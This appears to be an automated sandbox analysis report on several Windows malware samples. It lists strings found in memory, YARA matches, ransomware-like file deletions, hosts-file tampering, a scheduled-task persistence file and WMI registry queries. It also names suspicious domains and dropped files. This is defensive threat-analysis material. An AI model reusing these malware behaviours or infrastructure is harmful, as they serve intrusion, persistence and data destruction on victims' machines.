Source: D1UL0FG.exe, 00000006.00000002.2997186323.000001FA2E940000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: D1UL0FG.exe, 00000006.00000002.2996941109.000001FA2E830000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
Source: D1UL0FG.exe, 00000006.00000002.2996941109.000001FA2E830000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsC
Source: D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECB8000.00000004.00001000.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: 8ZVMneG.exe, 00000054.00000003.2798581699.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wrathful-jammy.cyou/
Source: 8ZVMneG.exe, 00000054.00000003.2798581699.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wrathful-jammy.cyou/pi
Source: D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECB8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: D1UL0FG.exe, 00000006.00000002.2997655266.000001FA2EC50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: D1UL0FG.exe, 00000006.00000002.2997655266.000001FA2EC50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: D1UL0FG.exe, 00000006.00000002.2997655266.000001FA2EC50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 8ZVMneG.exe, 00000054.00000003.2887641486.0000000003BC9000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2888906817.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: D1UL0FG.exe, 00000006.00000002.2997655266.000001FA2EC50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: D1UL0FG.exe, 00000006.00000002.2997655266.000001FA2EC50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: D1UL0FG.exe, 00000006.00000002.2997655266.000001FA2EC50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECB8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: 8ZVMneG.exe, 00000054.00000003.2887641486.0000000003BC9000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2888906817.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: D1UL0FG.exe, 00000005.00000003.2468357425.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468357425.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECB8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: 8ZVMneG.exe, 00000054.00000003.2830589493.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829507445.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829086313.0000000003B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: D1UL0FG.exe, 00000006.00000002.2997655266.000001FA2EC50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: 8ZVMneG.exe, 00000054.00000003.2830589493.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829507445.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829086313.0000000003B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECB8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECB8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECB8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: D1UL0FG.exe, 00000006.00000003.2562812810.000001FA2E67E000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2589318835.000001FA2E686000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2997655266.000001FA2EC48000.00000004.00001000.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2997186323.000001FA2E940000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: D1UL0FG.exe, 00000006.00000003.2541116191.000001FA2E65D000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2544747280.000001FA2E5AB000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2542837368.000001FA2E6BB000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2527409426.000001FA2E6AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 8ZVMneG.exe, 00000054.00000003.2885763363.0000000003C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: D1UL0FG.exe, 00000006.00000003.2541116191.000001FA2E65D000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2542837368.000001FA2E6BB000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2527409426.000001FA2E6AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 8ZVMneG.exe, 00000054.00000003.2885763363.0000000003C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: D1UL0FG.exe, 00000006.00000003.2541116191.000001FA2E65D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 8ZVMneG.exe, 00000054.00000003.2885763363.0000000003C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: D1UL0FG.exe, 00000006.00000002.2997655266.000001FA2EC50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_c
Source: 8ZVMneG.exe, 00000054.00000003.2885763363.0000000003C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: D1UL0FG.exe, 00000006.00000003.2591687772.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2537129441.000001FA2DFF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/favicons/mozilla/favicon-196x196.2af054fea211.png
Source: D1UL0FG.exe, 00000006.00000003.2805914031.000001FA2E6AE000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2538484447.000001FA2E639000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2638678348.000001FA2E6AE000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2806059040.000001FA2E6B3000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2581329935.000001FA2E6AE000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2996756195.000001FA2E6B5000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2559978077.000001FA2E6AE000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2597883430.000001FA2E6AE000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2985740930.000001FA2E6B5000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2642820617.000001FA2E6B3000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2527409426.000001FA2E6AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/favicons/mozilla/favicon.d25d81d39065.icox
Source: D1UL0FG.exe, 00000006.00000003.2572948721.000001FA2E3D3000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2581019615.000001FA2E3D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/favicons/mozilla/favicon.d25d81d390F.
Source: D1UL0FG.exe, 00000006.00000003.2562812810.000001FA2E5A9000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2885763363.0000000003C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: D1UL0FG.exe, 00000006.00000003.2562812810.000001FA2E5A9000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2885763363.0000000003C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ED50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECB8000.00000004.00001000.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: D1UL0FG.exe, 00000005.00000003.2468479409.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.3007986367.00007FF8A9393000.00000004.00000001.01000000.00000017.sdmp, D1UL0FG.exe, 00000006.00000002.3005011004.00007FF8A8AA8000.00000004.00000001.01000000.00000016.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: D1UL0FG.exe, 00000005.00000003.2467648525.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/dev/peps/pep-0205/
Source: D1UL0FG.exe, 00000006.00000002.2990539732.000001FA2D790000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECB8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: D1UL0FG.exe, 00000006.00000002.2992431014.000001FA2DF30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: D1UL0FG.exe, 00000006.00000002.2997655266.000001FA2EC50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: D1UL0FG.exe, 00000006.00000003.2581019615.000001FA2E2A8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2552764797.000001FA2E2AF000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2993719449.000001FA2E2AF000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2992431014.000001FA2DF30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Source: Yara match	File source: 81.3.m9sfEU9.exe.31f4800.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 85.2.FuturreApp.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 85.2.FuturreApp.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000055.00000002.7286857048.0000000011193000.00000002.00000001.01000000.00000023.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m9sfEU9.exe PID: 7732, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FuturreApp.exe PID: 1972, type: MEMORYSTR
Source: Yara match	File source: C:\Users\Public\Netstat\PCICL32.DLL, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File deleted: C:\Users\user\AppData\Local\Temp\??? ??\Common Files\Desktop\FACWLRWHGG.pdf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File deleted: C:\Users\user\AppData\Local\Temp\??? ??\Common Files\Desktop\DTBZGIOOSO.jpg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File deleted: C:\Users\user\AppData\Local\Temp\??? ??\Common Files\Desktop\DTBZGIOOSO.jpg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File deleted: C:\Users\user\AppData\Local\Temp\??? ??\Common Files\Desktop\PSAMNLJHZW.png	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File deleted: C:\Users\user\AppData\Local\Temp\??? ??\Common Files\Desktop\PSAMNLJHZW.png	Jump to behavior

Modifies the hosts file

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: cmd.exe

Process created: 53

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.3.dr	Static PE information: section name:
Source: random[1].exe.3.dr	Static PE information: section name: .idata
Source: random[1].exe.3.dr	Static PE information: section name:
Source: random[3].exe.3.dr	Static PE information: section name:
Source: random[3].exe.3.dr	Static PE information: section name: .idata
Source: random[3].exe.3.dr	Static PE information: section name:
Source: f8645e1e85.exe.3.dr	Static PE information: section name:
Source: f8645e1e85.exe.3.dr	Static PE information: section name: .idata
Source: f8645e1e85.exe.3.dr	Static PE information: section name:
Source: random[3].exe0.3.dr	Static PE information: section name:
Source: random[3].exe0.3.dr	Static PE information: section name: .idata
Source: fde98a8d0b.exe.3.dr	Static PE information: section name:
Source: fde98a8d0b.exe.3.dr	Static PE information: section name: .idata
Source: random[4].exe0.3.dr	Static PE information: section name:
Source: random[4].exe0.3.dr	Static PE information: section name: .idata
Source: random[4].exe0.3.dr	Static PE information: section name:
Source: d188864e84.exe.3.dr	Static PE information: section name:
Source: d188864e84.exe.3.dr	Static PE information: section name: .idata
Source: d188864e84.exe.3.dr	Static PE information: section name:
Source: f7b3852b06.exe.3.dr	Static PE information: section name:
Source: f7b3852b06.exe.3.dr	Static PE information: section name: .idata
Source: f7b3852b06.exe.3.dr	Static PE information: section name:
Source: random[1].exe1.3.dr	Static PE information: section name:
Source: random[1].exe1.3.dr	Static PE information: section name: .idata
Source: random[1].exe1.3.dr	Static PE information: section name:
Source: random[2].exe.3.dr	Static PE information: section name:
Source: random[2].exe.3.dr	Static PE information: section name: .idata
Source: random[2].exe.3.dr	Static PE information: section name:
Source: cb947ba4b8.exe.3.dr	Static PE information: section name:
Source: cb947ba4b8.exe.3.dr	Static PE information: section name: .idata
Source: cb947ba4b8.exe.3.dr	Static PE information: section name:

Writes or reads registry keys via WMI

Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 3_2_006ACB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

3_2_006ACB97

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00265C83	0_2_00265C83
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0026735A	0_2_0026735A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002A8860	0_2_002A8860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00264DE0	0_2_00264DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00264B30	0_2_00264B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006D8860	2_2_006D8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006D7049	2_2_006D7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006D78BB	2_2_006D78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006D31A8	2_2_006D31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00694B30	2_2_00694B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006D2D10	2_2_006D2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00694DE0	2_2_00694DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006C7F36	2_2_006C7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006D779B	2_2_006D779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0069E530	3_2_0069E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006B6192	3_2_006B6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006D8860	3_2_006D8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00694B30	3_2_00694B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006D2D10	3_2_006D2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00694DE0	3_2_00694DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006B0E13	3_2_006B0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006D7049	3_2_006D7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006D31A8	3_2_006D31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006B1602	3_2_006B1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006D779B	3_2_006D779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006D78BB	3_2_006D78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006B3DF1	3_2_006B3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006C7F36	3_2_006C7F36
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AED8BD0	5_2_00007FF67AED8BD0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEF69D4	5_2_00007FF67AEF69D4
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEF0938	5_2_00007FF67AEF0938
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AED1000	5_2_00007FF67AED1000
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEE1BC0	5_2_00007FF67AEE1BC0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEDA34B	5_2_00007FF67AEDA34B
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEDAD1D	5_2_00007FF67AEDAD1D
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEDA4E4	5_2_00007FF67AEDA4E4
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEF0938	5_2_00007FF67AEF0938
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEF6488	5_2_00007FF67AEF6488
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEF3C80	5_2_00007FF67AEF3C80
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEE2C80	5_2_00007FF67AEE2C80
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEF5C70	5_2_00007FF67AEF5C70
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEE3A14	5_2_00007FF67AEE3A14
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEE21D4	5_2_00007FF67AEE21D4
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEE19B4	5_2_00007FF67AEE19B4
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEE8154	5_2_00007FF67AEE8154
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEEDACC	5_2_00007FF67AEEDACC
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEE8804	5_2_00007FF67AEE8804
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEE1FD0	5_2_00007FF67AEE1FD0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEE17B0	5_2_00007FF67AEE17B0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEF9798	5_2_00007FF67AEF9798
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEEDF60	5_2_00007FF67AEEDF60
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEF411C	5_2_00007FF67AEF411C
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEF18E4	5_2_00007FF67AEF18E4
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AED9870	5_2_00007FF67AED9870
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEE3610	5_2_00007FF67AEE3610
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEEE5E0	5_2_00007FF67AEEE5E0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEE1DC4	5_2_00007FF67AEE1DC4
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEE5DA0	5_2_00007FF67AEE5DA0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEE9F10	5_2_00007FF67AEE9F10
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEF5EEC	5_2_00007FF67AEF5EEC
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEF69D4	6_2_00007FF67AEF69D4
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AED1000	6_2_00007FF67AED1000
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AED8BD0	6_2_00007FF67AED8BD0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEE1BC0	6_2_00007FF67AEE1BC0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEDA34B	6_2_00007FF67AEDA34B
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEDAD1D	6_2_00007FF67AEDAD1D
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEDA4E4	6_2_00007FF67AEDA4E4
